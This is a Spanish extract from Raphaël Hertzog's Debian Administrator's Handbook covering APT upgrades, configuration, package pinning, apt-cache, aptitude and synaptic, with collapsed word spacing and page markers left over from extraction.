APT mantiene una copia de cada archivo.deb descargado en el directorio/var/cache/apt/archives/. En caso deactualizaciones frecuentes, este directoriopuede ocupar mucho espacio en discorápidamente con varias versiones de cadapaquete; debería ordenarlosregularmente. Puede utilizar dos órdenes:aptitude clean vacía completamente eldirectorio y aptitude autoclean sóloelimina los paquetes que no pueden serdescargados (porque ya desaparecieronde la réplica Debian) y son obviamenteinútiles (el parámetro de configuraciónAPT::Clean-Installed puede evitar laeliminación de archivos .deb que esténinstalados actualmente).

Page 519: El Libro Del Administrador de Debian - Raphael Hertzog

6.2.3. Actualizacióndel sistemaSe recomienda actualizar regularmenteya que éstas actualizaciones incluyenlas últimas actualizaciones deseguridad. Para actualizar, utiliceaptitude safe-upgrade o apt-getupgrade (por supuesto, después deaptitude update). Esta orden buscapaquetes instalados que pueden serinstalados sin eliminar ningún paquete.En otras palabras, el objetivo esasegurar la actualización menosintrusiva posible. apt-get esligeramente más exigente que aptitude

Page 520: El Libro Del Administrador de Debian - Raphael Hertzog

ya que se negará a instalar paquetesque no estaban instalados previamente.

SUGERENCIA Actualizaciónincremental

Como explicamos anteriormente, elobjetivo de la orden aptitude update esdescargar el archivo Packages (o Sources)de cada origen de paquetes. Sin embargo,aún después de la compresión bzip2,estos archivos continuan siendorelativamente grandes (el archivoPackages.bz2 para la sección main deSqueeze ocupa más de 8 MB). Estasdescargas pueden tomar mucho tiempo sidesea actualizar frecuentemente.

Una «funcionalidad nueva» (disponibledesde Etch) es que APT puede descargar

Page 521: El Libro Del Administrador de Debian - Raphael Hertzog

los cambios desde la última actualizaciónen lugar del archivo completo. Para lograresto, las réplicas oficiales de Debiandistribuyen diferentes archivos que listanlas diferencias entre una versión delarchivo Packages y la siguiente. Songenerados en cada actualización delcompendio y se mantiene una semana dehistoria. Cada uno de estos archivos«diff» sólo ocupa unas pocas docenas dekilobytes para Unstable por lo que lacantidad de datos descargados si seejecuta semanalmente aptitude update sedivide por 10. Para distribuciones comoStable y Testing, que cambian menos, laganancia es menos notable.

Sin embargo, a veces puede estarinteresado en descargar el archivoPackages.bz2 completo, especialmentecuando la última actualización es muy

Page 522: El Libro Del Administrador de Debian - Raphael Hertzog

antigua y cuando el mecanismo dediferencias incrementales no ayudaríademasiado. También puede serinteresante cuando el acceso de red esmuy rápido pero el procesador en elequipo a actualizar es relativamente lentoya que el tiempo ahorrado en la descargaes más que el perdido cuando el equipocalcule la nueva versión de los archivos(comenzando con las versiones antiguas yaplicando las diferencias descargadas).Para hacer esto puede utilizar elparámetro de configuraciónAcquire::Pdiffs y configurarlo comofalse.

aptitude generalmente seleccionará elnúmero de versión más reciente(excepto para paquetes en

Page 523: El Libro Del Administrador de Debian - Raphael Hertzog

Experimental los que se ignoran deforma predeterminada sin importar sunúmero de versión). Si especificóTesting o Unstable en su archivosources.list, aptitude safe-upgradecambiará la mayor parte de su sistemaen Stable a Testing o Unstable quepodría no ser lo que deseaba.

Para indicarle a aptitude que utiliceuna distribución específica al buscarpaquetes a actualizar debe utilizar laopción -t o --target-releaseseguido del nombre de la distribuciónque desea (por ejemplo: aptitude -tstable safe-upgrade). Para evitarespecificar esta opción cada vez queutilice aptitude puede agregar

Page 524: El Libro Del Administrador de Debian - Raphael Hertzog

APT::Default-Release "stable"; alarchivo /etc/apt/apt.conf.d/local.

Para actualizaciones más importantes,como el cambio de una versión mayorde Debian a la siguiente, necesitautilizar aptitude full-upgrade (estaopción solía llamarse dist-upgrade,por «distribution upgrade»: «actualizardistribución»). Con esta instrucción,aptitude completará la actualizaciónaún si tiene que eliminar algunospaquetes obsoletos o instalar nuevasdependencias. Esta también es la ordenutilizada por los usuarios que trabajandiariamente con la versión Unstable deDebian y siguen su evolución día a día.Es tan simple que casi no necesita

Page 525: El Libro Del Administrador de Debian - Raphael Hertzog

explicación: la reputación de APT estábasada en esta excelente característica.

aptitude dist-upgrade siguedisponible como un sinónimo paraaptitude full-upgrade; apt-get sóloreconoce el primero.

6.2.4. Opciones deconfiguraciónAdemás de los elementos deconfiguración ya mencionados esposible configurar ciertos aspectos deAPT agregando directivas en unarchivo del directorio/etc/apt/apt.conf.d/. Recuerde, por

Page 526: El Libro Del Administrador de Debian - Raphael Hertzog

ejemplo, que APT puede indicarle adpkg que ignore errores de conflictosde archivos especificandoDPkg::Options { "--force-

overwrite"; }.

Si sólo puede acceder a la web a travésde un proxy, agregue una línea comoAcquire::http::proxy "http://su-

proxy:3128". Para un proxy FTP,utilice Acquire::ftp::proxy"ftp://su-proxy". Para descubrirmás opciones de configuración, lea lapágina de manual apt.conf(5) con laorden man apt.conf (para detallessobre las páginas de manual, revise elpróximo capítulo).

Page 527: El Libro Del Administrador de Debian - Raphael Hertzog

VOLVER A LOS CIMIENTOSDirectorios terminados con .d

Cada vez más se utilizan directorios conel sufijo .d. Cada directorio representa unarchivo de configuración repartido enmúltiples archivos. En este sentido, todoslos archivos en /etc/apt/apt.conf.d/son instrucciones para la configuraciónde APT. APT los incluye en ordenalfabético para que los últimos puedanmodificar un elemento de configuracióndefinido en los primeros.

Esta estructura le da cierta flexibilidad aladministrador del equipo y a losdesarrolladores de paquetes. De hecho, eladministrador puede modificar fácilmentela configuración del software agregandoun archivo prehecho en el directorio encuestión sin tener que modificar un

Page 528: El Libro Del Administrador de Debian - Raphael Hertzog

archivo existente. Los desarrolladores depaquetes utilizan el mismo enfoquecuando necesitan adaptar laconfiguración de otro software pareasegurar que pueda coexistirperfectamente con el suyo. Sin embargo,la normativa Debian prohíbeexplícitamente modificar los archivos deconfiguración de otros paquetes — sólolos usuarios pueden hacerlo. Recuerdeque durante la actualización de unpaquete el usuario puede elegir la versióndel archivo de configuración a mantenercuando se detectó una modificación.Cualquier modificación externa de unarchivo dispararía dicho pedido, lo quemolestaría al administrador que estáseguro de no haber modificado nada.

Sin un directorio .d es imposible que unpaquete externo modifique la

Page 529: El Libro Del Administrador de Debian - Raphael Hertzog

configuración de un programa sinmodificar su archivo de configuración. Ensu lugar, debe invitar al usuario a que lohaga por su cuenta y listar lasoperaciones a realizar en el archivo/usr/share/doc/paquete/README.Debian.

Dependiendo de la aplicación, eldirectorio .d puede ser utilizadodirectamente o administrado por un scriptexterno que concatena todos los archivospara crear el archivo de configuración. Esimportante ejecutar este script luego decualquier cambio en ese directorio paraque se tengan en cuenta lasmodificaciones más recientes. De lamisma forma, es importante no trabajardirectamente en el archivo deconfiguración creado automáticamente yaque se perdería todo en la siguienteejecución del script. Elegir un método

Page 530: El Libro Del Administrador de Debian - Raphael Hertzog

(usar directamente el directorio .d o unarchivo generado desde dicho directorio)es generalmente impuesto porlimitaciones de implementación, pero enambos casos las ganancias en cuanto aflexibilidad de la configuración más quecompensan las pequeñas complicacionesque significan. El servidor de correo Exim4 es un ejemplo del método en el que segenera el archivo: puede configurarsemediante varios archivos(/etc/exim4/conf.d/*) que sonconcatenados en/var/lib/exim4/config.autogenerated

mediante la orden update-exim4.conf.

6.2.5. Gestionando lasprioridades de los

Page 531: El Libro Del Administrador de Debian - Raphael Hertzog

paquetesUno de los aspectos más importantesen la configuración de APT es lagestión de las prioridades asociadascon cada origen de paquetes. Porejemplo, podría desear extender unadistribución con uno o dos paquetesmás recientes de Testing, Unstable oExperimental. Es posible asignar unaprioridad a cada paquete disponible (elmismo paquete puede tener variasprioridades según su versión o ladistribución que lo provee). Estasprioridades influenciarán elcomportamiento de APT: para cadapaquete, siempre seleccionará la

Page 532: El Libro Del Administrador de Debian - Raphael Hertzog

versión con la prioridad más alta(excepto si esta versión es anterior a lainstalada y si su prioridad es menor a1000).

APT define varias prioridadespredeterminadas. Cada versióninstalada de un paquete tiene unaprioridad de 100. Una versión noinstalada tiene una prioridadpredeterminada de 500, pero puedesaltar a 990 si es parte de ladistribución destino (definida con laopción de línea de órdenes -t o ladirectiva de configuraciónAPT::Target-Release).

Puede modificar las prioridades

Page 533: El Libro Del Administrador de Debian - Raphael Hertzog

agregando elementos en el archivo/etc/apt/preferences con losnombres de los paquetes afectados, susversiones, sus orígenes y sus nuevasprioridades.

APT nunca instalará una versiónanterior de un paquete (esto es, unpaquete cuyo número de versión seamenor al que está instaladoactualmente) excepto si su prioridad esmayor a 1000. APT siempre instalará elpaquete con la mayor prioridad quecumpla esta restricción. Si dospaquetes tienen la misma prioridad,APT instalará la más reciente (aquellacuya versión sea mayor). Si dospaquetes de la misma versión tienen la

Page 534: El Libro Del Administrador de Debian - Raphael Hertzog

misma prioridad pero tienen diferentecontenido, APT instalará la versión queno está instalada (se creó esta reglapara cubrir los casos de laactualización de un paquete sinaumentar el número de revisión, que esgeneralmente necesario).

En términos más concretos, un paquetecon prioridad menor a 0 nunca seráinstalado. Un paquete con unaprioridad entre 0 y 100 sólo seráinstalado si no hay otra versión yainstalada del paquete. Con unaprioridad entre 100 y 500, el paquetesólo será instalado si no hay otraversión más reciente instalada odisponible en otra distribución. Un

Page 535: El Libro Del Administrador de Debian - Raphael Hertzog

paquete con prioridad entre 500 y 990será instalado sólo si no hay unaversión más nueva instalada odisponible en la distribución dedestino. Con una prioridad entre 990 y1000, el paquete será instalado a menosque la versión instalada sea mayor. Unaprioridad mayor a 1000 siempre llevaráa la instalación del paquete aún si éstosignifica que APT instalará una versiónanterior.

Cuando APT revisa/etc/apt/preferences primero tieneen cuenta las entradas más específicas(generalmente aquellas queespecifiquen el paquete en cuestión),luego las más genéricas (incluyendo,

Page 536: El Libro Del Administrador de Debian - Raphael Hertzog

por ejemplo, todos los paquetes de unadistribución). Si existen varias entradasgenéricas, utiliza la primeracoincidencia. El criterio de seleccióndisponible incluye el nombre delpaquete y el origen que lo provee. Seidentifica cada origen de paquetes porla información contenida en un archivoRelease y que APT descarga junto conlos archivos Packages.gz. Especificael origen (generalmente «Debian» parapaquetes de las réplicas oficiales, perotambién puede ser el nombre de unapersona u organización pararepositorios de terceros). Tambiénprovee el nombre de la distribución(generalmente Stable, Testing,Unstable o Experimental para las

Page 537: El Libro Del Administrador de Debian - Raphael Hertzog

distribuciones estándar que proveeDebian) junto con su versión (porejemplo, 5.0 para Debian Lenny).Revisemos su sintaxis a través de casosde estudio de este mecanismo másrealistas.

CASO ESPECÍFICO La prioridad deexperimental

Si agregó Experimental en su archivosources.list, los paquetescorrespondientes casi nunca seráninstalados porque su prioridad APTpredeterminada es 1. Este es, porsupuesto, un caso específico diseñadopara evitar que los usuarios instalenpaquetes de Experimental por error. Lospaquetes sólo pueden instalarseejecutando aptitude install

Page 538: El Libro Del Administrador de Debian - Raphael Hertzog

paquete/experimental — solo losusuarios que ingresen esta orden sabenlos riesgos que están tomando. Es posible(aunque no recomendable) tratar lospaquetes de Experimental como aquellosde otra distribución otorgándoles unaprioridad de 500. Esto se logra con unaentrada específica en/etc/apt/preferences:

Package: *

Pin: release a=experimental

Pin-Priority: 500

Supongamos que sólo desa utilizarpaquetes de la versión estable deDebian. Aquellos provistos en otrasversiones no serían instalados a menosque sean pedidos explícitamente. Puedeescribir las siguientes entradas en el

Page 539: El Libro Del Administrador de Debian - Raphael Hertzog

archivo /etc/apt/preferences:

Package: *

Pin: release a=stable

Pin-Priority: 900

Package: *

Pin: release o=Debian

Pin-Priority: -10

a=stable define el nombre de ladistribución elegida. o=Debian limitael alcance a los paquetes cuyo origen es«Debian».

Asumamos ahora que tiene un servidorcon varios programas locales quedependen de la versión 5.10 de Perl yque desea asegurarse que lasactualizaciones no instalarán otra

Page 540: El Libro Del Administrador de Debian - Raphael Hertzog

versión del mismo. Puede utilizar lasiguiente entrada:

Package: perl

Pin: version 5.10*

Pin-Priority: 1001

La documentación de referencia paraeste archivo de configuración estádisponible en la página de manualapt_preferences(5) que puede ver conman apt_preferences.

SUGERENCIA Comentarios en/etc/apt/preferences

No existe una sintaxis oficial para agregarcomentarions en el archivo/etc/apt/preferences, pero se puedenproveer algunas descripciones textuales

Page 541: El Libro Del Administrador de Debian - Raphael Hertzog

agregando uno o más campos«Explanation» al principio de cadaentrada:

Explanation: El paquete xserver-xorg-video-intel provisto

Explanation: en experimental puede usarse de forma segura

Package: xserver-xorg-video-intel

Pin: release a=experimental

Pin-Priority: 500

6.2.6. Trabajar convarias distribucionesSiendo la herramienta maravillosa queaptitude es, es tentador elegir paquetesde otras distribuciones. Por ejemplo,luego de instalar un sistema Stablepodría desear probar paquetes de

Page 542: El Libro Del Administrador de Debian - Raphael Hertzog

software disponibles en Testing oUnstable sin desviarse demasiado delestado inicial del sistema.

Aún cuando ocasionamente encontraráproblemas al mezclar paquetes dediferentes distribuciones aptitudegestionará muy bien su coexistencia ylimitará los riesgos de manera muyefectiva. La mejor manera de procederes listar todas las distribucionesutilizadas en /etc/apt/sources.list(algunas personas siempre agregan lastres distribuciones, pero recuerde queUnstable está reservado para usuariosexperimentados) y definir sudistribución de referencia con elparámetro APT::Default-Release

Page 543: El Libro Del Administrador de Debian - Raphael Hertzog

(revise la Section 6.2.3, “Actualizacióndel sistema”).

Supongamos que su distribución dereferencia es Stable pero que Testing yUnstable también aparecen listados ensu archivo sources.list. En estecaso, puede utilizar aptitude installpaquete/testing para instalar unpaquete de Testing. Si la instalaciónfalla debido a alguna dependenciainsatisfecha, permítale resolver esasdependencias dentro de Testingagregando el parámetro -t testing.Obviamente, lo mismo aplica aUnstable.

En esta situación, las actualizaciones

Page 544: El Libro Del Administrador de Debian - Raphael Hertzog

(safe-upgrade y dist-upgrade) serealizan dentro de Stable a excepciónde los paquetes que ya fueronactualizados a otra distribución: éstosseguirán las actualizacionesdisponibles en las otras distribuciones.Explicaremos este comportamiento conla ayuda de las prioridadespredeterminadas de APT acontinuación. No dude en utilizar apt-cache policy (revise el recuadro) paraverificar las prioridades otorgadas.

Todo gira alrededor del hecho de queAPT considera sólo paquetes con unaversión mayor o igual que la instalada(suponiendo que/etc/apt/preferences no ha sido

Page 545: El Libro Del Administrador de Debian - Raphael Hertzog

usado para forzar prioridadessuperiores a 1000 para algunospaquetes).

SUGERENCIA apt-cache policy

Para obtener un mejor entendimiento delmecanismo de prioridades, no dude enejecutar apt-cache policy para mostrar laprioridad predeterminada asociada a cadaorigen de paquetes. También puedeutilizar apt-cache policy paquete paramostrar las prioridades de todas lasversiones disponibles de un paquetedado.

Asumamos que instaló la versión 1 deun primer paquete de Stable y que las

Page 546: El Libro Del Administrador de Debian - Raphael Hertzog

versiones 2 y 3 están disponibles enTesting y Unstable respectivamente. Laversión instalada tiene una prioridad de100, pero la versión disponible enStable (la misma versión) tiene unaprioridad de 990 (porque es parte de laversión de destino). Los paquetes enTesting y Unstable tienen una prioridadde 500 (la prioridad predeterminadapara una versión no instalada). Elganador es, por lo tanto, la versión 1con una prioridad de 990. El paquete«se mantiene en Stable».

Tomemos como ejemplo otro paquetecuya versión 2 fue instalada de Testing.La versión 1 está disponible en Stable yla versión 3 en Unstable. La versión 1

Page 547: El Libro Del Administrador de Debian - Raphael Hertzog

(de prioridad 990 — por lo tanto menora 1000) es descartada porque es menorque la versión instalada. Esto deja sólolas versiones 2 y 3, ambas de prioridad500. Frente a esta alternativa, APTselecciona la versión más nueva: la deUnstable. Si no desea que un paquetede Testing actualice su versión a la deUnstable, debe asignar una prioridadmenor a 500 (490 por ejemplo) a lospaquetes que provengan de Unstable.Pude modificar/etc/apt/preferences de la siguienteforma:

Package: *

Pin: release a=unstable

Pin-Priority: 490

Page 548: El Libro Del Administrador de Debian - Raphael Hertzog

6.3. La orden apt-cacheLa orden apt-cache puede mostrar granparte de la información almacenada enla base de datos interna de APT. Estainformación es una especie de caché yaque es obtenida de las diferentesfuentes definidas en el archivosources.list. Esto ocurre durante laoperación aptitude update.

VOCABULARIO Caché

Un caché es un sistema dealmacenamiento temporal utilizado para

Page 549: El Libro Del Administrador de Debian - Raphael Hertzog

acelerar el acceso frecuente a datoscuando el método de acceso usual escostoso (en cuanto a rendimiento). Esteconcepto puede aplicarse en numerosassituaciones y en diferentes escalas, desdeel núcleo de microprocesadores hastasistemas de almacenamiento de alta gama.

En el caso de APT, los archivos dereferencia Packages son los ubicados enlas réplicas de Debian. Teniendo eso encuenta, sería muy poco efectivo que cadabúsqueda que queramos hacer en la basede datos por paquetes disponible sea através de la red. Es por esto que APTalmacena una copia de estos archivos (en/var/lib/apt/lists/) y las búsquedas serealizan dentro de éstos archivos locales.De forma similar,/var/cache/apt/archives/ contiene elcaché de paquetes ya descargados para

Page 550: El Libro Del Administrador de Debian - Raphael Hertzog

evitar descargarlos nuevamente sinecesita reinstalarlos luego deeliminarlos.

La orden apt-cache puede realizarbúsquedas de paquete basándose enpalabras clave con apt-cache searchpalabra_clave. También puedemostrar las cabeceras de las versionesdisponibles de un paquete con apt-cache show paquete. Esta ordenprovee la descripción de un paquete,sus dependencias, el nombre de suencargado, etc. Note que aptitudesearch y aptitude show trabajan de lamisma manera.

Algunas funcionalidades son menos

Page 551: El Libro Del Administrador de Debian - Raphael Hertzog

utilizadas. Por ejemplo, apt-cachepolicy muestra las prioridades de losorígenes de paquete así como tambiénlas prioridades de paquetesindividuales. Otro ejemplo es apt-cache dumpavail que muestra lascabeceras de todas las versionesdisponibles de todos los paquetes. apt-cache pkgnames muestra una lista contodos los paquetes que aparecen almenos una vez en el caché.

Page 552: El Libro Del Administrador de Debian - Raphael Hertzog

6.4. Interfaces:aptitude, synapticAPT es un programa en C++ cuyocódigo está principalmente en labiblioteca compartida libapt-pkg.Utilizar una biblioteca compartidafacilita la creación de interfaces deusuario ya que se puede reutilizarfácilmente el código que contiene labiblioteca. Históricamente apt-get fuesólo diseñado como una interfaz depruebas para libapt-pkg, pero su éxitotiende a esconder este hecho.

Page 553: El Libro Del Administrador de Debian - Raphael Hertzog

6.4.1. aptitudeaptitude es un programa interactivoque puede utilizar en un modosemigráfico en una consola. Puedenavegar la lista de paquetes instaladosy disponibles, buscar toda lainformación disponible y seleccionarpaquetes a instalar o eliminar. Elprograma está diseñadoespecíficamente para que lo utilicenadministradores, por lo que suscomportamientos predeterminados sonmucho más inteligentes que los de apt-get y su interfaz es mucho más sencillade entender.

Page 554: El Libro Del Administrador de Debian - Raphael Hertzog

Figure 6.1. El gestor de paquetesaptitude

Page 555: El Libro Del Administrador de Debian - Raphael Hertzog

Al iniciar, aptitude muestra una listade todos los paquetes ordenados porestado (instalado, no instalado oinstalado pero no disponible en lasréplicas — otras secciones muestrantareas, paquetes virtuales y paquetesnuevos que aparecieron recientemente

Page 556: El Libro Del Administrador de Debian - Raphael Hertzog

en las réplicas). Hay otras vistasdisponibles para facilitar la navegacióntemática. En todos los casos, aptitudemuestra en la pantalla una lista quecombina las categorías y los paquetes.Las categorías están organizadas através de una estructura de árbol cuyasramas puede ser desdobladas o cerradascon las teclas Enter, [ y ]. Puedeutilizar + para marcar un paquete parainstalación, - para marcarlo paraeliminación y _ para purgarlo (note quetambién puede utiliziar estas teclaspara categorías, en cuyo caso la accióncorrespondiente será aplicada a todoslos paquetes en dicha categoría). uactualiza la lista de paquetesdisponibles y Shift+u prepara una

Page 557: El Libro Del Administrador de Debian - Raphael Hertzog

actualización global al sistema. gcambia la vista a un resumen de loscambios solicitados (y presione gnuevamente hará efectivos loscambios), y q sale de la vista actual. Siestá en la vista inicial, esto cerrarádefinitivamente aptitude.

DOCUMENTACIÓN aptitude

Esta sección no cubre los detalles másespecíficos de utilizar aptitude, engeneral se dedica a darle un equipo desupervivencia para usarlo. aptitude estábastante bien documentado yrecomendamos que utilice su manualcompleto disponible en el paqueteaptitude-doc-en.

→ file:///usr/share/doc/aptitude/html/en/index.html

Page 558: El Libro Del Administrador de Debian - Raphael Hertzog

Para buscar un paquete puede ingresar /seguido de un patrón de búsqueda. Estepatrón buscará en los nombres de lospaquetes pero también puede buscar enla descripción (si está precedido por~d), la sección (con ~s) o a otrascaracterísticas que están detalladas enla documentación. Los mismospatrones pueden utilizarse para filtrarla lista de paquetes mostrados:presione la tecla l (como en limitar) eingrese el patrón.

6.4.1.1. Seguimiento depaquetes instaladosautomáticamente

Page 559: El Libro Del Administrador de Debian - Raphael Hertzog

Una de las características esenciales deaptitude (que también fue integrada enapt-get desde Lenny) es el seguimientode paquetes instalados únicamentedebido a dependencias. Se llama aestos paquetes «automáticos» y estánetiquetados con «A» en la lista depaquetes — generalmente sonbibliotecas. Cuando se elimina unpaquete, también se seleccionan paraeliminar los paquetes automáticoscorrespondientes a menos que otropaquete «instalado manualmente»dependa de ellos. Es posible marcar unpaquete como automático (conShift+m) o eliminar esa marca (con latecla m). Al mantener un sistema conaptitude, es una buena costumbre

Page 560: El Libro Del Administrador de Debian - Raphael Hertzog

marcar como automático cualquierpaquete que no necesite directamentepara que sean eliminadosautomáticamente cuando ya no seannecesarios. Puede navegar a través dela lista de paquetes instalados y jugarcon Shift+m o marcar seccionesenteras (por ejemplo, la sección libs).Este hábito puede ayudarlo a mantenersu sistema ordenado y ofrece unaforma simple para visualizar lospaquetes utilizados en una máquina sintodas las bibliotecas y dependenciasque no le importan realmente. Elpatrón relacionado que puede serutilizado con l (para activar el modo defiltro) es ~i!~M. Especifica que sólodesea ver paquetes instalados (~i) que

Page 561: El Libro Del Administrador de Debian - Raphael Hertzog

no estén marcados como automáticos(!~M).

Algunas personas podrían desear saberporqué un paquete instaladoautomáticamente está presente en elsistema. Para obtener esta informacióndesde la línea de órdenes puede utilizaraptitude why paquete:

$ aptitude why python-debian

i aptitude Recommends apt-xapian-index

i A apt-xapian-index Depends python-debian (>= 0.1.15)

VALE LA PENA SEGUIR Evolucionesrecientes de apt-get y aptitude

Algunas ventajas históricas que teníaaptitude sobre apt-get desaparecieronrecientemente. Por ejemplo, desde la

Page 562: El Libro Del Administrador de Debian - Raphael Hertzog

publicación de Lenny, apt-get memorizalos paquetes que fueron instalados sólopara satisfacer dependencias, tal comoaptitude hizo siempre. También puedeseguir recomendaciones expresadas porun paquete sobre otro.

Entre las evoluciones recientes deaptitude, está siendo desarrollada unanueva versión con una interfaz gráfica. Sibien está disponible en Squeeze (en elpaquete independiente aptitude-gtk) aúnno está completa y puede tener problemasde estabilidad.

HERRAMIENTA Utilizando aptitude enla línea de órdenes

La mayoría de la funcionalidad deaptitude está disponible tanto a través de

Page 563: El Libro Del Administrador de Debian - Raphael Hertzog

la interfaz interactiva como de la línea deórdenes. Esta última le resultará familiar alos usuarios asiduos de apt-get y apt-cache.

Las características avanzadas de aptitudetambién están disponibles en la línea deórdenes.Puede utilizar los mismospatrones de búsqueda de paquetes que enla versión interactiva. Por ejemplo, sidesea ejecutar la limpieza de paquetes«automáticos» sugerida anteriormente ysabe que ninguno de los paquetesinstalados localmente necesitan unabiblioteca o módulo Perl particular puedemarcar los paquetes correspondientescomo automáticos con una sola orden:

# aptitude markauto '~slibs|~sperl'

Aquí puede ver claramente el poder delsistema de patrones de búsqueda de

Page 564: El Libro Del Administrador de Debian - Raphael Hertzog

aptitude, que permite la seleccióninstantánea de todos los paquetes en lassecciones libs y perl.

Tenga cuidado que si algunos paquetesson marcados como automáticos y ningúnotro paquete depende de ellos seráneliminados inmediatamente (luego de unpedido de confirmación).

ALTERNATIVA deborphan y debfoster

Antes que naciera aptitude con suseguimiento de paquetes automáticosexistían dos herramientas que generabanlistas de paquetes innecesarios:deborphan y debfoster.

deborphan es la más rudimentaria deambas. Simplemente escanea las

Page 565: El Libro Del Administrador de Debian - Raphael Hertzog

secciones libs y oldlibs (siempre que nose le indique otra cosa) buscando lospaquetes instalados actualmente de losque no depende ningún otro paquete. Lalista resultante puede servir luego comouna base para eliminar paquetesinnecesarios.

debfoster tiene un enfoque máselaborado, muy similar al de aptitude:mantiene una lista de paquetes que fueroninstalados explícitamente y recuerda quépaquetes son realmente necesarios entrecada invocación. Si aparecen nuevospaquetes en el sistema que debfoster noreconoce como paquetes requeridos seránmostrados en pantalla junto a una lista desus dependencias. El programa luegoofrece la opción de eliminar el paquete(posiblemente junto a los que dependende él), marcarlo como requerido

Page 566: El Libro Del Administrador de Debian - Raphael Hertzog

explícitamente o ignorarlotemporalmente.

6.4.1.2. Administrandorecomendaciones,sugerencias y tareas

Otra funcionalidad interesante deaptitude es el hecho de que respeta lasrecomendaciones entre paquetes almismo tiempo que provee al usuario laopción de no instalarlas caso por caso.Por ejemplo, el paquete gnome-desktop-environment recomiendagnome-accessibility (entre otros).Cuando selecciona para instalar al

Page 567: El Libro Del Administrador de Debian - Raphael Hertzog

primero, el último también seráseleccionado (y marcado comoautomático si no estaba instalado en elsistema). Presionar g lo hará evidente:gnome-accessibility aparecerá en lapantalla de resumen de accionespendientes en la lista de paquetesinstalados automáticamente parasatisfacer dependencias. Sin embargo,puede decidir no instalarlo quitándolode la selección de paquetes a instalarantes de confirmar las operaciones.

Note que esta funcionalidad deseguimiento de recomendaciones nofunciona con actualizaciones. Porejemplo, si una nueva versión degnome-desktop-environment

Page 568: El Libro Del Administrador de Debian - Raphael Hertzog

recomienda un paquete que no estabarecomendado en la versión anterior,éste no será marcado para instalación.Sin embargo será mostrado en lapantalla de actualización para que eladministrador pueda seleccionarlo parainstalar.

También se tienen en cuenta lassugerencias entre paquetes peroadaptadas a su estado específico. Porejemplo, ya que gnome-desktop-environment sugiere gnome-audio, esteúltimo será mostrado en la pantalla deresumen de acciones pendientes (en lasección de paquetes sugeridos por otrospaquetes). De esta forma es visto por eladministrador que puede decidir si

Page 569: El Libro Del Administrador de Debian - Raphael Hertzog

tomar en cuenta la sugerencia o no.Debido a que es sólo una sugerencia yno una dependencia o recomendación,no se seleccionará automáticamente alpaquete — eso requiere intervenciónmanual del usuario (por lo que elpaquete no será marcado comoautomático).

En el mismo espíritu, recuerde queaptitude hace un uso inteligente delconcepto de tarea. Como se muestranlas tareas como categorías en laspantallas de listas de paquetes puedeseleccionar para instalar o eliminar unatarea completa o navegar la lista de lospaquetes incluidos en una tarea paraseleccionar un subconjunto más

Page 570: El Libro Del Administrador de Debian - Raphael Hertzog

pequeño.

6.4.1.3. Mejores algoritmosde resolución

Para concluir esta sección,resaltaremos que aptitude tienealgoritmos más elaborados pararesolver situaciones difícilescomparado con apt-get. Cuando serequiere un conjunto de acciones ydicha combinación de accionesresultaría en un sistema incoherente,aptitude evalúa varios escenariosposibles y los presenta de más a menosrelevante. Sin embargo, estosalgoritmos no están exentos de fallos.

Page 571: El Libro Del Administrador de Debian - Raphael Hertzog

Afortunadamente siempre existe laposibilidad de seleccionarmanualmente las acciones a realizar.Cuando las acciones seleccionadaslleven a contradicciones, la partesuperior de la pantalla mostrará lacantidad de paquetes «rotos» (puede irdirectamente a dichos paquetespresionando b). Luego podrá construirmanualmente una solución a losproblemas encontrados. En particular,puede acceder a las diferentesversiones disponibles seleccionando elpaquete con Enter. Si la selección deuna de dichas versiones soluciona elproblema, no debe dudar en utilizarla.Cuando reduzca el número de paquetesrotos a cero puede volver a la pantalla

Page 572: El Libro Del Administrador de Debian - Raphael Hertzog

de resumen de acciones pendientespara una última revisión antes deaplicar los cambios.

NOTA El registro de aptitude

De forma similar a dpkg, aptitudemantiene una traza de las accionesejecutadas en su archivo de registro(/var/log/aptitude). Sin embargo,debido a que los programas trabajan enniveles diferentes, no encontrará la mismainformación en sus archivos de registro.Mientras que dpkg registra todas lasoperaciones ejecutadas en paquetesindividuales paso a paso, aptitude proveeuna visión más amplia de operaciones dealto nivel como una actualización de todoel sistema.

Page 573: El Libro Del Administrador de Debian - Raphael Hertzog

Tenga en cuenta que este archivo deregistro sólo contiene un resumen de lasoperaciones realizadas por aptitude. Si seutilizan ocasionalmente otras interfaces(o aún dpkg mismo), entonces el registrode aptitude sólo tendrá una vista parcialde las operaciones; por lo que no puedeconfiar en él para construir una historiaconfiable del sistema.

6.4.2. synapticsynapyic es un gestor gráfico depaquetes para Debian que tiene unainterfaz gráfica limpia y eficientebasada en GTK+/GNOME. Sus muchosfiltros listos para utilizar proveen un

Page 574: El Libro Del Administrador de Debian - Raphael Hertzog

acceso rápido a nuevos paquetesdisponibles, paquetes instalados,paquetes para actualizar, paquetesobsoletos y más. Si navega por estaslistas puede seleccionar las operacionesa realizar en los paquetes (instalar,actualizar, eliminar, purgar); no serealizan inmediatamente estasoperaciones sino que se las agrega auna lista de tareas. Un botón luegovalida las operaciones y las ejecuta enconjunto.

Figure 6.2. gestor de paquetessynaptic

Page 575: El Libro Del Administrador de Debian - Raphael Hertzog
Page 576: El Libro Del Administrador de Debian - Raphael Hertzog

6.5. Comprobandola autenticidad deun paqueteLa seguridad es muy importante paralos administradores de Falcot Corp. Porconsiguiente, necesitan asegurar quesólo instalen paquetes con garantía deque provienen de Debian sinmodificaciones en el camino. Un«cracker» podría intentar agregarcódigo malicioso en un paquete que deotra forma sería legítimo. Si se instalatal paquete, éste podría hacer cualquiercosa para la que dicho «cracker» lo

Page 577: El Libro Del Administrador de Debian - Raphael Hertzog

diseño, inclusive revelar contraseñas oinformación confidencial por ejemplo.Para evitar este riesgo, Debian proveeun sello contra modificaciones paragarantizar — al momento deinstalación — que el paquete realmenteproviene de su encargado oficial y nofue modificado por un tercero.

El sello funciona con una firma y unacadena de «hashes» criptográficos. Elarchivo Release, provisto por lasréplicas Debian, es el firmado.Contiene una lista de los archivosPackages (incluyendo sus formascomprimidas, Packages.gz yPackages.bz2, así como las versionesincrementales), junto con sus «hashes»

Page 578: El Libro Del Administrador de Debian - Raphael Hertzog

MD5, SHA1 y SHA256 lo que aseguraque los archivos no fueronmodificados. Estos archivos Packagescontienen una lista de los paquetesDebian disponibles en la réplica juntocon sus hashes lo que asegura, a su vez,que el contenido de los paquetesmismos tampoco fue modificado.

Las llaves confiables son administradascon el programa apt-key que seencuentra en el paquete apt. Esteprograma mantiene un conjunto dellaves públicas GnuPG que sonutilizadas para verificar las firmasdisponibles en los archivosRelease.gpg disponibles en lasréplicas. Puede utilizarse para agregar

